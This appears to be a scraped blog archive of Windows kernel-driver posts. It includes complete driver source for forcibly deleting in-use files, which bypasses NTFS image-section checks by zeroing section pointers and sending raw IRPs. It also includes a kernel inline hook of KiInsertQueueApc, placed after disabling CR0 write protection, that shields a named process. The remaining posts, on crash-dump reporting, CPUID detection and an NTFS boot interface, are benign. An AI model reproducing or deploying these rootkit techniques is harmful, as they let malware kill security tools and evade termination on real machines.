NULL);//I want to the file handle on where process's handle table<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return FALSE;<br /> }<br /><br /> DeviceObject = IoGetRelatedDeviceObject(fileObject);<br /> Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);<br /><br /> if (Irp == NULL)<br /> {<br /> ObDereferenceObject(fileObject);<br /> return FALSE;<br /> }<br /><br /> KeInitializeEvent(&event1, SynchronizationEvent, FALSE);<br /><br /> memset(&FileInformation,0,0x28);<br /><br /> FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;<br /> Irp->AssociatedIrp.SystemBuffer = &FileInformation;<br /> Irp->UserEvent = &event1;<br /> Irp->UserIosb = &ioStatus;<br /> Irp->Tail.Overlay.OriginalFileObject = fileObject;<br /> Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();<br /> Irp->RequestorMode = KernelMode;<br /> <br /> irpSp = IoGetNextIrpStackLocation(Irp);<br /> irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;<br /> irpSp->DeviceObject = DeviceObject;<br /> irpSp->FileObject = fileObject;<br /> irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);<br /> irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;<br /> irpSp->Parameters.SetFile.FileObject = fileObject;<br /><br /> IoSetCompletionRoutine(<br /> Irp,<br /> SkillSetFileCompletion,<br /> &event1,<br /> TRUE,<br /> TRUE,<br /> TRUE);<br /><br /> IoCallDriver(DeviceObject, Irp);//Call the device object, and IO_STACK_LOCATION will point next</div>
<div style="text-align: left;">
//如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程<br /> <br /><br /> //会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件<br /> //控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数<br /> //回调函数会释放刚分配的IRP和设置事件对象为受信状态。<br /> KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。<br /><br /> ObDereferenceObject(fileObject);<br /><br /> return TRUE;<br />}<br /><br /><br />BOOLEAN<br />SKillDeleteFile(<br /> IN HANDLE FileHandle<br /> )<br />{<br /> NTSTATUS ntStatus = STATUS_SUCCESS;<br /> PFILE_OBJECT fileObject;<br /> PDEVICE_OBJECT DeviceObject;<br /> PIRP Irp;<br /> KEVENT event1;<br /> FILE_DISPOSITION_INFORMATION FileInformation;<br /> IO_STATUS_BLOCK ioStatus;<br /> PIO_STACK_LOCATION irpSp;<br /> PSECTION_OBJECT_POINTERS pSectionObjectPointer; ////////////////////<br /><br /> SKillStripFileAttributes( FileHandle); //<br /><br /> ntStatus = ObReferenceObjectByHandle(FileHandle,<br /> DELETE,<br /> *IoFileObjectType,<br /> KernelMode,<br /> &fileObject,<br /> NULL);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return FALSE;<br /> }<br /><br /> DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象<br /> //否则返回的是这个设备对象的highest level设备对象。<br /> Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7<br /><br /> if (Irp == NULL)<br /> {<br /> ObDereferenceObject(fileObject);<br /> return FALSE;<br /> }<br /><br /> KeInitializeEvent(&event1, SynchronizationEvent, FALSE);<br /> <br /> FileInformation.DeleteFile = TRUE;<br /><br /> Irp->AssociatedIrp.SystemBuffer = &FileInformation;<br /> Irp->UserEvent = &event1;<br /> Irp->UserIosb = &ioStatus;<br /> Irp->Tail.Overlay.OriginalFileObject = fileObject;<br /> Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();<br /> Irp->RequestorMode = KernelMode;<br /> <br /> irpSp = IoGetNextIrpStackLocation(Irp); //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION<br /> irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;<br /> irpSp->DeviceObject = DeviceObject;<br /> irpSp->FileObject = fileObject;<br /> irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);<br /> irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;<br /> irpSp->Parameters.SetFile.FileObject = fileObject;<br /><br /><br /> IoSetCompletionRoutine(<br /> Irp,<br /> SkillSetFileCompletion,<br /> &event1,<br /> TRUE,<br /> TRUE,<br /> TRUE);<br /><br />//再加上下面这三行代码 ,MmFlushImageSection 函数通过这个结构来检查是否可以删除文件。<br /> pSectionObjectPointer = fileObject->SectionObjectPointer;<br /> pSectionObjectPointer->ImageSectionObject = 0;<br /> pSectionObjectPointer->DataSectionObject = 0;<br /><br /><br /> IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),<br /> //MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件<br /> //在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的<br /> //的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。<br /> KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);<br /><br /> ObDereferenceObject(fileObject);<br /><br /> return TRUE;<br />}<br /><br />NTSTATUS DriverEntry(<br /> IN PDRIVER_OBJECT DriverObject,<br /> IN PUNICODE_STRING RegistryPath<br /> )<br />{<br /> UNICODE_STRING uniDeviceName;<br /> UNICODE_STRING uniSymLink;<br /> NTSTATUS ntStatus;<br /> PDEVICE_OBJECT deviceObject = NULL;<br /> HANDLE hFileHandle;<br /> <br /> RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);<br /> RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);<br /><br /> ntStatus = IoCreateDevice(<br /> DriverObject,<br /> 0x100u,<br /> &uniDeviceName,<br /> FILE_DEVICE_UNKNOWN,<br /> FILE_DEVICE_SECURE_OPEN,<br /> TRUE,<br /> &deviceObject);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return ntStatus;<br /> }<br /><br /> ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> IoDeleteDevice(deviceObject);<br /> return ntStatus;<br /> }<br /><br /> DriverObject->DriverUnload = SKillUnloadDriver;<br /><br /> //<br /> // 重点在这<br /> //<br /> hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe", <br /> FILE_READ_ATTRIBUTES,<br /> FILE_SHARE_DELETE); //得到文件句柄<br /><br /> if (hFileHandle!=NULL)<br /> {<br /> SKillDeleteFile(hFileHandle);<br /> ZwClose(hFileHandle);<br /> }<br /> return STATUS_SUCCESS;<br />} 表示能删除。另一种方法是HOOK NTFS.sys的导入表中的MmFlushImageSection()函数,在HOOK函数中检查是不是我们要删除的文件,是的话直接返回TRUE也行。下面是完整代码<br /><br />#include <ntddk.h><br /><br />#define NT_DEVICE_NAME L"\\Device\\SuperKill"<br />#define DOS_DEVICE_NAME L"\\DosDevices\\SuperKill"<br /><br /><br />VOID <br />SKillUnloadDriver( <br /> IN PDRIVER_OBJECT DriverObject <br /> )<br />{<br /> PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;<br /> UNICODE_STRING uniSymLink;<br /><br /> RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);<br /> <br /> IoDeleteSymbolicLink(&uniSymLink);<br /><br /> IoDeleteDevice(deviceObject);<br />}<br /><br /><br />HANDLE<br />SkillIoOpenFile(<br /> IN PCWSTR FileName,<br /> IN ACCESS_MASK DesiredAccess,<br /> IN ULONG ShareAccess<br /> )<br />{<br /> NTSTATUS ntStatus;<br /> UNICODE_STRING uniFileName;<br /> OBJECT_ATTRIBUTES objectAttributes;<br /> HANDLE ntFileHandle;<br /> IO_STATUS_BLOCK ioStatus;<br /><br /> if (KeGetCurrentIrql() > PASSIVE_LEVEL)<br /> {<br /> return 0;<br /> }<br /><br /> RtlInitUnicodeString(&uniFileName, FileName);<br /><br /> InitializeObjectAttributes(&objectAttributes, &uniFileName,<br /> OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);<br /><br /> ntStatus = IoCreateFile(&ntFileHandle,<br /> DesiredAccess,<br /> &objectAttributes,<br /> &ioStatus,<br /> 0,<br /> FILE_ATTRIBUTE_NORMAL,<br /> ShareAccess,<br /> FILE_OPEN,<br /> 0,<br /> NULL,<br /> 0,<br /> 0,<br /> NULL,<br /> IO_NO_PARAMETER_CHECKING);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return 0;<br /> }<br /><br /> return ntFileHandle;<br />}<br /><br />NTSTATUS<br />SkillSetFileCompletion(<br /> IN PDEVICE_OBJECT DeviceObject,<br /> IN PIRP Irp,<br /> IN PVOID Context<br /> )<br />{<br /> Irp->UserIosb->Status = Irp->IoStatus.Status;<br /> Irp->UserIosb->Information = Irp->IoStatus.Information;<br /><br /> KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);<br /><br /> IoFreeIrp(Irp);<br /><br /> return STATUS_MORE_PROCESSING_REQUIRED;<br />}<br /><br />BOOLEAN<br />SKillStripFileAttributes(<br /> IN HANDLE FileHandle<br /> )<br />{<br /> NTSTATUS ntStatus = STATUS_SUCCESS;<br /> PFILE_OBJECT fileObject;<br /> PDEVICE_OBJECT DeviceObject;<br /> PIRP Irp;<br /> KEVENT event1;<br /> FILE_BASIC_INFORMATION FileInformation;<br /> IO_STATUS_BLOCK ioStatus;<br /> PIO_STACK_LOCATION irpSp;<br /><br /> ntStatus = ObReferenceObjectByHandle(FileHandle,<br /> DELETE,<br /> *IoFileObjectType,<br /> KernelMode,<br /> &fileObject,<br /> NULL);//我想知道的是这个文件句柄是在哪个进程的句柄表中<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return FALSE;<br /> }<br /><br /> DeviceObject = IoGetRelatedDeviceObject(fileObject);<br /> Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);<br /><br /> if (Irp == NULL)<br /> {<br /> ObDereferenceObject(fileObject);<br /> return FALSE;<br /> }<br /><br /> KeInitializeEvent(&event1, SynchronizationEvent, FALSE);<br /><br /> memset(&FileInformation,0,0x28);<br /><br /> FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;<br /> Irp->AssociatedIrp.SystemBuffer = &FileInformation;<br /> Irp->UserEvent = &event1;<br /> Irp->UserIosb = &ioStatus;<br /> Irp->Tail.Overlay.OriginalFileObject = fileObject;<br /> Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();<br /> Irp->RequestorMode = KernelMode;<br /> <br /> irpSp = IoGetNextIrpStackLocation(Irp);<br /> irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;<br /> irpSp->DeviceObject = DeviceObject;<br /> irpSp->FileObject = fileObject;<br /> irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);<br /> irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;<br /> irpSp->Parameters.SetFile.FileObject = fileObject;<br /><br /> IoSetCompletionRoutine(<br /> Irp,<br /> SkillSetFileCompletion,<br /> &event1,<br /> TRUE,<br /> TRUE,<br /> TRUE);<br /><br /> IoCallDriver(DeviceObject, Irp);//调用这个设备对象的驱动对象,并且IO_StACK_LOCAtion会指向下一个,也就是刚刚设置的<br /> //如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程<br /> <br /><br /> //会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件<br /> //控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数<br /> //回调函数会释放刚分配的IRP和设置事件对象为受信状态。<br /> KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。<br /><br /> ObDereferenceObject(fileObject);<br /><br /> return TRUE;<br />}<br /><br /><br />BOOLEAN<br />SKillDeleteFile(<br /> IN HANDLE FileHandle<br /> )<br />{<br /> NTSTATUS ntStatus = STATUS_SUCCESS;<br /> PFILE_OBJECT fileObject;<br /> PDEVICE_OBJECT DeviceObject;<br /> PIRP Irp;<br /> KEVENT event1;<br /> FILE_DISPOSITION_INFORMATION FileInformation;<br /> IO_STATUS_BLOCK ioStatus;<br /> PIO_STACK_LOCATION irpSp;<br /> PSECTION_OBJECT_POINTERS pSectionObjectPointer; ////////////////////<br /><br /> SKillStripFileAttributes( FileHandle); //去掉只读属性,才能删除只读文件<br /><br /> ntStatus = ObReferenceObjectByHandle(FileHandle,<br /> DELETE,<br /> *IoFileObjectType,<br /> KernelMode,<br /> &fileObject,<br /> NULL);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return FALSE;<br /> }<br /><br /> DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象<br /> //否则返回的是这个设备对象的highest level设备对象。<br /> Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7<br /><br /> if (Irp == NULL)<br /> {<br /> ObDereferenceObject(fileObject);<br /> return FALSE;<br /> }<br /><br /> KeInitializeEvent(&event1, SynchronizationEvent, FALSE);<br /> <br /> FileInformation.DeleteFile = TRUE;<br /><br /> Irp->AssociatedIrp.SystemBuffer = &FileInformation;<br /> Irp->UserEvent = &event1;<br /> Irp->UserIosb = &ioStatus;<br /> Irp->Tail.Overlay.OriginalFileObject = fileObject;<br /> Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();<br /> Irp->RequestorMode = KernelMode;<br /> <br /> irpSp = IoGetNextIrpStackLocation(Irp); //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION<br /> irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;<br /> irpSp->DeviceObject = DeviceObject;<br /> irpSp->FileObject = fileObject;<br /> irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);<br /> irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;<br /> irpSp->Parameters.SetFile.FileObject = fileObject;<br /><br /><br /> IoSetCompletionRoutine(<br /> Irp,<br /> SkillSetFileCompletion,<br /> &event1,<br /> TRUE,<br /> TRUE,<br /> TRUE);<br /><br />//再加上下面这三行代码 ,MmFlushImageSection 函数通过这个结构来检查是否可以删除文件。<br /> pSectionObjectPointer = fileObject->SectionObjectPointer;<br /> pSectionObjectPointer->ImageSectionObject = 0;<br /> pSectionObjectPointer->DataSectionObject = 0;<br /><br /><br /> IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),<br /> //MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件<br /> //在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的<br /> //的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。<br /> KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);<br /><br /> ObDereferenceObject(fileObject);<br /><br /> return TRUE;<br />}<br /><br />NTSTATUS DriverEntry(<br /> IN PDRIVER_OBJECT DriverObject,<br /> IN PUNICODE_STRING RegistryPath<br /> )<br />{<br /> UNICODE_STRING uniDeviceName;<br /> UNICODE_STRING uniSymLink;<br /> NTSTATUS ntStatus;<br /> PDEVICE_OBJECT deviceObject = NULL;<br /> HANDLE hFileHandle;<br /> <br /> RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);<br /> RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);<br /><br /> ntStatus = IoCreateDevice(<br /> DriverObject,<br /> 0x100u,<br /> &uniDeviceName,<br /> FILE_DEVICE_UNKNOWN,<br /> FILE_DEVICE_SECURE_OPEN,<br /> TRUE,<br /> &deviceObject);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> return ntStatus;<br /> }<br /><br /> ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);<br /><br /> if (!NT_SUCCESS(ntStatus))<br /> {<br /> IoDeleteDevice(deviceObject);<br /> return ntStatus;<br /> }<br /><br /> DriverObject->DriverUnload = SKillUnloadDriver;<br /><br /> //<br /> // 重点在这<br /> //<br /> hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe", <br /> FILE_READ_ATTRIBUTES,<br /> FILE_SHARE_DELETE); //Get file handle得到文件句柄<br /><br /> if (hFileHandle!=NULL)<br /> {<br /> SKillDeleteFile(hFileHandle);<br /> ZwClose(hFileHandle);<br /> }<br /> return STATUS_SUCCESS;<br />} </div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-57256248977372505822011-09-30T07:31:00.000-07:002011-09-30T07:31:48.791-07:00Ntfs disc access interface(Project + code)<div style="text-align: center;">
Author:第八个门<span class="improtant"></span></div>
That is found and separate on nt4.<br />
<br />
The interface:<br />
BlGetFsInfo<br />BlClose<br />BlOpen<br />BlRead<br />BlGetReadStatus<br />BlSeek<br />BlWrite<br />BlGetFileInformation<br />BlRename<br />BlSetFileInformation<br />BlReadAtOffset<br />
<a href="http://yfdisk.com/file/newbing/e3e71c97/">ntfsboot.rar</a>view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-76916559140260730112011-09-29T07:07:00.000-07:002011-09-29T07:07:50.695-07:00Process is protected<div style="text-align: center;">
Author:Sysnap</div>
<div style="text-align: left;">
Maybe nobody make process to protect......Send a code... Some value maybe can't explan from letter....Because before hook other function</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Code: </div>
<div style="text-align: left;">
#include "ntddk.h" <br />#include "myh.h"<br />/*<br />//可能有MP后不起作用了<br />*/<br />UCHAR *<br />PsGetProcessImageFileName(<br /> __in PEPROCESS Process<br /> );<br /><br />typedef VOID (FASTCALL *KIINSERTQUEUEAPC)(IN PKAPC Apc,IN KPRIORITY Increment);<br />KIINSERTQUEUEAPC g_OldKiInsertQueueApc;<br /><br />ULONG g_OldObpAllocateObjectOffset;<br />ULONG* g_TargetMmExchangeValue;<br />BOOLEAN bIsHook=FALSE;<br /><br />VOID FASTCALL Fake_KiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)<br />{<br /> ULONG pTargetThread;<br /> ULONG pTargetProcess;<br /> UCHAR *pTargetProcessName;<br /> <br /> if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008)))<br /> pTargetThread=*((PULONG)((ULONG)Apc+0x008)); // +0x008 Thread : Ptr32 _KTHREAD<br /> if(MmIsAddressValid((PULONG)((ULONG)pTargetThread + 0x044 )))<br /> pTargetProcess =*((PULONG)((ULONG)pTargetThread + 0x044 )); //+0x034 ApcState : _KAPC_STATE <br /> <br /> pTargetProcessName=PsGetProcessImageFileName((PEPROCESS)pTargetProcess);<br /> <br /> if((_stricmp(pTargetProcessName,"notepad.exe")==0)&&(Increment==2))<br /> //DbgPrint("hi---notepad.ex ");<br /> return;<br /> // return ;<br />// DbgPrint("hi--- ");<br /> g_OldKiInsertQueueApc(Apc,Increment);<br /><br /><br /> <br />}<br /><br />VOID MmExchangeValue(PULONG Target,ULONG Value)<br />{<br /> KIRQL oldIrql;<br /> oldIrql = KeRaiseIrqlToDpcLevel(); //Notice spin lock<br /> __asm<br /> {<br /> CLI <br /> MOV EAX, CR0 <br /> AND EAX, NOT 10000H <br /> MOV CR0, EAX <br /> }<br /> <br /> <br /> InterlockedExchange(Target,Value);<br /> <br /> __asm <br /> {<br /> MOV EAX, CR0 <br /> OR EAX, 10000H <br /> MOV CR0, EAX <br /> STI <br /> }<br /> KeLowerIrql(oldIrql); <br />}<br /><br /><br /><br />BOOLEAN HookKiInsertQueueApc()<br />{<br /> BYTE* FunctionAddress;<br /> BYTE* CurrentAddress;<br /> ULONG tempAddr, HookAddress,NewOffset;<br /> PVOID KeInsertQueueApcAddr;<br /> UNICODE_STRING Uni_ObCreateObject;<br /> <br /> RtlInitUnicodeString(&Uni_ObCreateObject,L"KeInsertQueueApc");<br /> KeInsertQueueApcAddr = MmGetSystemRoutineAddress(&Uni_ObCreateObject);<br /> <br /> if(KeInsertQueueApcAddr == NULL)<br /> return FALSE;<br /> <br /> FunctionAddress=(BYTE*)KeInsertQueueApcAddr;<br /> <br /> for(CurrentAddress=FunctionAddress;CurrentAddress<FunctionAddress+0x200; CurrentAddress++)<br /> {<br /> if(MmIsAddressValid((BYTE*)CurrentAddress))<br /> <br /> if(*(BYTE*)CurrentAddress==0x28&&*(BYTE*)(CurrentAddress+1)==0xe8)<br /> {<br /> tempAddr = *(ULONG*)(CurrentAddress+2);<br /> if(MmIsAddressValid((ULONG*)((BYTE*)(CurrentAddress+1)+1)))<br /> {<br /> <br /> if(tempAddr&0x10000000)<br /> {<br /> NewOffset = (ULONG)Fake_KiInsertQueueApc+0xFFFFFFFB-(ULONG)(CurrentAddress+1);<br /> g_OldObpAllocateObjectOffset = *(ULONG*)((BYTE*)(CurrentAddress+2));<br /> HookAddress=*(ULONG*)((BYTE*)(CurrentAddress+2))+(ULONG)(CurrentAddress+1)-0xFFFFFFFB;<br /> g_TargetMmExchangeValue = (ULONG*)((BYTE*)(CurrentAddress+2));<br /> //DbgPrint("hi--- %x",HookAddress);<br /> MmExchangeValue((ULONG*)((BYTE*)(CurrentAddress+2)),NewOffset);<br /> bIsHook =TRUE;<br /> }<br /> else<br /> {<br /> NewOffset = (ULONG)Fake_KiInsertQueueApc-(ULONG)(CurrentAddress+1)-5;<br /> g_OldObpAllocateObjectOffset = *(ULONG*)((BYTE*)(CurrentAddress+2));<br /> HookAddress=*(ULONG*)((BYTE*)(CurrentAddress+2))+(ULONG)(CurrentAddress+1)+5;<br /> g_TargetMmExchangeValue = (ULONG*)((BYTE*)(CurrentAddress+2));<br /> MmExchangeValue((ULONG*)((BYTE*)(CurrentAddress+2)),NewOffset);<br /> bIsHook =TRUE;<br /> }<br /> g_OldKiInsertQueueApc = (KIINSERTQUEUEAPC)HookAddress;<br /> //DbgPrint("hi--- %x", g_OldObpAllocateObject);<br /> break;<br /> }<br /> }<br /> }<br /> return TRUE;<br />}<br />///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br /><br /><br /><br />VOID Unload(PDRIVER_OBJECT DriverObject) <br />{ <br /> if(bIsHook ==TRUE)<br /> MmExchangeValue(g_TargetMmExchangeValue,g_OldObpAllocateObjectOffset);<br /> <br />} <br /><br />NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str) <br />{ <br /> <br /> HookKiInsertQueueApc();<br /><br /> <br /> DriverObject->DriverUnload = Unload; <br /> return STATUS_SUCCESS; <br />} <br /></div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-79797081343180474082011-09-28T07:16:00.000-07:002011-09-28T07:16:47.032-07:00A c++ class of Print wrong when program breakdown<div style="text-align: center;">
Author:hying</div>
A c++ class of Print wrong when program breakdown, Use it can to find reason of wrong and place of wrong.<br />
Example:<br />
----------------------------------------------------------------------------<br />System details:<br />-----------<br />Operating System: Microsoft Windows XP Professional (Version 5.1, Build 2600)<br />CPU Information: Type: Intel Pentium compatible, Number Of Processors: 2, Architecture: Intel, Level: Unknown 15, Stepping: 10-25<br />Memory Information: Memory Used 72%, Total Physical Memory 1048048KB, Physical Memory Available 286664KB, Total Virtual Memory 2097024KB, Available Virtual Memory 2054620KB, Working Set Min: 200KB Max: 1380KB .<br /><br />Process details:<br />-----------<br />Thread number:1, Handle number:22<br />Use memory(K):3540, Use memory peak(K):3540, Page buffer pool(K):20, Page buffer pool(K):20, Non Page buffer pool peak(K):2<br />Page buffer pool peak(K):2, Virtual memory(K):3052, Virtual memory peak(K):3052, Page wrong:883<br /><br />Exception details:<br />-----------<br />FirstChance:00000001, ExceptionCode:C0000005, ExceptionFlags:00000000, ExceptionAddress:004014B9<br />ExceptRem: STATUS_ACCESS_VIOLATION<br />Module: G:\testdump1.exe, Section: 01, Offset: 000004B9<br /><br />Context details:<br />-----------<br />EFlags:00010206<br />EIP:004014B9<br />Ebp:0012FEF4<br />Esp:0012FEDC<br />Edi:00000000<br />Esi:0041A028<br />Ebx:7FFDE000<br />Edx:00000000<br />Ecx:00000009<br />Eax:00000009<br /><br />Call stack:<br />-----------<br />Address Frame Function SourceFile<br />004014B9 0012FEF4 testexp1+49 testdump1.cpp line 37<br /> Parameter struct TestClass* _pclass = {struct TestBaseClass = {char Memchar = 52, }, int Mem1 = 2, int Mem2 = 8, struct TestClass* Mem3 = [0x00000000], }<br /> Parameter int* _pint = [0x00000000]<br /> Parameter int _int = 79<br /> Local double t_double = 79.000000<br /> Local char* t_pchar = "787878789"<br /> Local int** t_ppint = [0x0012FF00]<br /> Local enum TEnum t_Enum = 2<br /> Local int t_Tmpint2 = 9<br /><br />00401516 0012FF8C main+56 testdump1.cpp line 53<br /> Parameter int argc = 1<br /> Parameter char** argv = [0x00F4A680]<br /> Local int t_int = 78<br /> Local int* t_pint = [0x00000000]<br /> Local struct TestClass t_class = {struct TestBaseClass = {char Memchar = 52, }, int Mem1 = 2, int Mem2 = 8, struct TestClass* Mem3 = [0x00000000], }<br /> Local char[60] command = ""<br /><br />00414D83 0012FFB8 __startup+16F<br /><br />Assembler Information:<br />-----------<br />testdump1.cpp<br />-------Line 25---------<br />00401470 push ebp<br />00401471 mov ebp, esp<br />00401473 add esp, -18<br />-------Line 27---------<br />00401476 mov dword ptr [ebp-4], 2<br />-------Line 29---------<br />0040147D mov eax, [ebp+8]<br />00401480 mov edx, [ebp-4]<br />00401483 mov [eax+4], edx<br />-------Line 31---------<br />00401486 lea ecx, [ebp+C]<br />00401489 mov [ebp-8], ecx<br />-------Line 32---------<br />0040148C mov dword ptr [ebp-C], 41A0C0<br />-------Line 33---------<br />00401493 fild dword ptr [41A0B8]<br />00401499 fstp qword ptr [ebp-14]<br />-------Line 34---------<br />0040149C fld qword ptr [ebp-14]<br />0040149F call 00411FD0<br />004014A4 mov [ebp+10], eax<br />-------Line 36---------<br />004014A7 push dword ptr [ebp-C]<br />004014AA call 0040C740<br />004014AF pop ecx<br />004014B0 mov [ebp-18], eax<br />-------Line 37---------<br />004014B3 mov edx, [ebp+C]<br />004014B6 mov ecx, [ebp-18]<br />004014B9 mov [edx], ecx ; <-- EXCEPTION<br />-------Line 39---------<br />004014BB mov esp, ebp<br />004014BD pop ebp<br />004014BE retn<br />------------------------Havs exception-----------------------------<br />int g_int = 0;<br />struct TestBaseClass<br />{<br />public:<br /> char Memchar;<br />};<br />struct TestClass: public TestBaseClass<br />{<br />public:<br /> int Mem1;<br /> int Mem2;<br /> TestClass* Mem3;<br />};<br />enum TEnum<br />{<br /> EnumIdx1 = 1,<br /> EnumIdx2 = 2,<br />};<br />void testexp1(TestClass* _pclass, int* _pint, int _int)<br />{<br /> TEnum t_Enum = EnumIdx2;<br /> {<br /> _pclass->Mem1 = t_Enum;<br /> }<br /> int** t_ppint = &_pint;<br /> char* t_pchar = "787878789";<br /> double t_double = g_int;<br /> _int = t_double;<br /> {<br /> int t_Tmpint2 = strlen(t_pchar);<br /> *_pint = t_Tmpint2;<br /> }<br />}<br />int _tmain(int argc, _TCHAR* argv[])<br />{<br /> char command[60];<br /> gets(command);<br /> TestClass t_class;<br /> t_class.Mem1 = 7;<br /> t_class.Mem2 = 8;<br /> t_class.Mem3 = NULL;<br /> int* t_pint = NULL;<br /> int t_int = 78;<br /> g_int = 79;<br /> __try<br /> {<br /> testexp1(&t_class, t_pint, t_int);<br /> }<br /> __except(1)<br /> {<br /> t_int++;<br /> }<br /> return 0;<br />}<br />----------------------------------------------------------------------------------------<br /><br />How use:Need write oneself SetUnhandledExceptionFilter code on program. Then use the class.Hold out symbol table of MS PDB. Symbol table file place to the same of exe directory.<br /><br />
<a href="http://yfdisk.com/file/newbing/38397919/">Minidump.rar</a>view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-69536411588945539422011-09-27T07:14:00.000-07:002011-09-27T07:14:54.331-07:00Right use CPUID<div style="text-align: center;">
Author:DiYhAcK</div>
<div style="text-align: left;">
<br />
<div style="text-align: left;">
If want program of use cpuid command to be passed :<br />
<br />
1.Judge SPU that whether hold out cpuid command<br />
The way: 21st of eflags(ID) whether can change <br />
<br />
<br />
Code:<br />
BOOL __declspec(naked) IsCpuidValid()<br />
{<br />
__asm<br />
{<br />
pushfd<br />
pop eax //eax = eflags<br />
mov ebx, eax<br />
xor eax, 00200000h //toggle bit 21, eflags.[ID]<br />
push eax<br />
popfd<br />
pushfd<br />
pop eax<br />
cmp eax, ebx<br />
jz NO_CPUID<br />
mov eax, 1<br />
ret<br />
NO_CPUID:<br />
xor eax, eax<br />
ret<br />
}<br />
}<br />
2.If cpu hold out cpuid command, First judge whether hold out function
